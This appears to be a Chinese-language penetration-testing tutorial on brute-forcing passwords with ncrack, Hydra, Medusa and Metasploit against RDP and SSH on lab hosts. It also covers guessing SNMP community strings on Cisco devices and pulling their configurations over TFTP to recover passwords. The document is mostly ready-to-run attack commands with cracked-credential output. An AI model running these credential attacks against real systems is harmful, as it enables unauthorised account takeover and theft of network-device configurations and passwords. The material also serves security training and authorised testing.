需要有一個強大的字典，如果太大了的話，計算機索引不過來，也是沒用的．

口令的破解全靠運氣，運氣好幾秒鐘，幾分鐘都有可能，運氣不好一天二天解不開也正常.總要去嘗試

暴力破解，會影響機器的CPU,可能會導致拒絕服務的情況．而且還會有拒絕密碼登陸這種情況．

工具：https://github.com/tearsecurity/leviathan

Leviathan是一個大規模審計工具包，具有廣泛的服務發現，強力，SQ​​L注入檢測和執行自定義漏洞利用功能。它包含開源工具，如masscan，ncrack，dsss，併為您提供組合使用它們的靈活性。

＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿＿

官方都給出了演示和相關文件！！！

ncrack :　https://nmap.org/ncrack/man.html

ncrack暴破RDP帳戶 

ncrack -u Administrator -P /root/shellWork/UserAndPassword/password.pwd -p 3389 192.168.2.110 

Discovered credentials for ms-wbt-server on 192.168.2.110 3389/tcp:
192.168.2.110 3389/tcp ms-wbt-server: 'Administrator' '000000'


rdesktop 192.168.2.110
 

ncrack -p 22 --user username -P /root/shellWork/UserAndPassword/password.txt IP

Hydra : https://github.com/vanhauser-thc/thc-hydra

hydra -l root -P /root/shellWork/UserAndPassword/password.txt 192.168.2.111 ssh

medusa   : htt

ps://github.com/jmk-foofus/medusa

medusa -u msfadmin -P /root/shellWork/UserAndPassword/password.txt -h 192.168.2.111 -M ssh
 

Metasploit:

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > show options 


msf auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/shellWork/UserAndPassword/user.usr
USER_FILE => /root/shellWork/UserAndPassword/username.txt
msf auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/shellWork/UserAndPassword/password.txt
PASS_FILE => /root/shellWork/UserAndPassword/password.txt
msf auxiliary(scanner/ssh/ssh_login) > set THREADS 4
THREADS => 4
msf auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.2.111
RHOSTS => 192.168.2.111
msf auxiliary(scanner/ssh/ssh_login) > exploit

_____________________________________________________________________________________________________

對Cisco裝置猜測團體字串：

onesixtyone : https://github.com/trailofbits/onesixtyone

SNMP協議是一種無狀態的，面向資料報的協議。SNMP掃描程式是一種程式，它將SNMP請求傳送到多個IP地址，嘗試不同的社群字串並等待回覆。

SNMP 協議：　https://blog.csdn.net/shanzhizi/article/details/11606767

onesixtyone -c /usr/share/doc/onesixtyone/dict.txt IP　＃onesixtyone能夠找到公共和私人社群字串

#把找到的團體字串　寫入一個檔案
echo -e "public\nsecret\n" > test.txt

使用Metasploit　解密：

msf > search snmp_login

Matching Modules
================

   Name                               Disclosure Date  Rank    Description
   ----                               ---------------  ----    -----------
   auxiliary/scanner/snmp/snmp_login                   normal  SNMP Community Login Scanner


msf > use auxiliary/scanner/snmp/snmp_login 
msf auxiliary(scanner/snmp/snmp_login) > show options 

msf auxiliary(scanner/snmp/snmp_login) > set PASS_FILE text.txt
PASS_FILE => text.txt
msf auxiliary(scanner/snmp/snmp_login) > set RHOSTS IP
RHOSTS => IP
msf auxiliary(scanner/snmp/snmp_login) > exploit 
msf auxiliary(scanner/snmp/snmp_login) > creds #檢視　團體字是隻讀還是能讀寫

SNMP和TFTP是處理Cisco裝置時最常用的兩個協議．SNMP可以獲取和設定設定裝置的資訊．TFTP是Ｃisco裝置將配置檔案，新映像和其他資訊載入到交換機或路由裝置的方式之一，Cisco裝置可以作為TFTP伺服器，允許其他作業系統從該裝置上載入配置資訊和配置檔案等．

可以用SNMP來獲得Cisco裝置的配置資訊和執行配置，可以通過TFCP將新配置推送回伺服器．

msf > use auxiliary/scanner/snmp/cisco_config_tftp 
msf auxiliary(scanner/snmp/cisco_config_tftp) > show options 

Module options (auxiliary/scanner/snmp/cisco_config_tftp):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   COMMUNITY  public           yes       SNMP Community String
   LHOST                       no        The IP address of the system running this module
   OUTPUTDIR                   no        The directory where we should save the configuration files (disabled by default)
   RETRIES    1                yes       SNMP Retries
   RHOSTS                      yes       The target address range or CIDR identifier
   RPORT      161              yes       The target port (UDP)
   SOURCE     4                yes       Grab the startup (3) or running (4) configuration (Accepted: 3, 4)
   THREADS    1                yes       The number of concurrent threads
   TIMEOUT    1                yes       SNMP Timeout
   VERSION    1                yes       SNMP Version <1/2c>

msf auxiliary(scanner/snmp/cisco_config_tftp) > 

這個模組可以向裝置傳送SNMP寫命令，也可以下載配置檔案，成功後msf會啟動一TFTP服務，讓裝置連線到msf啟動的服務．

msf會解析檔案，得到密碼．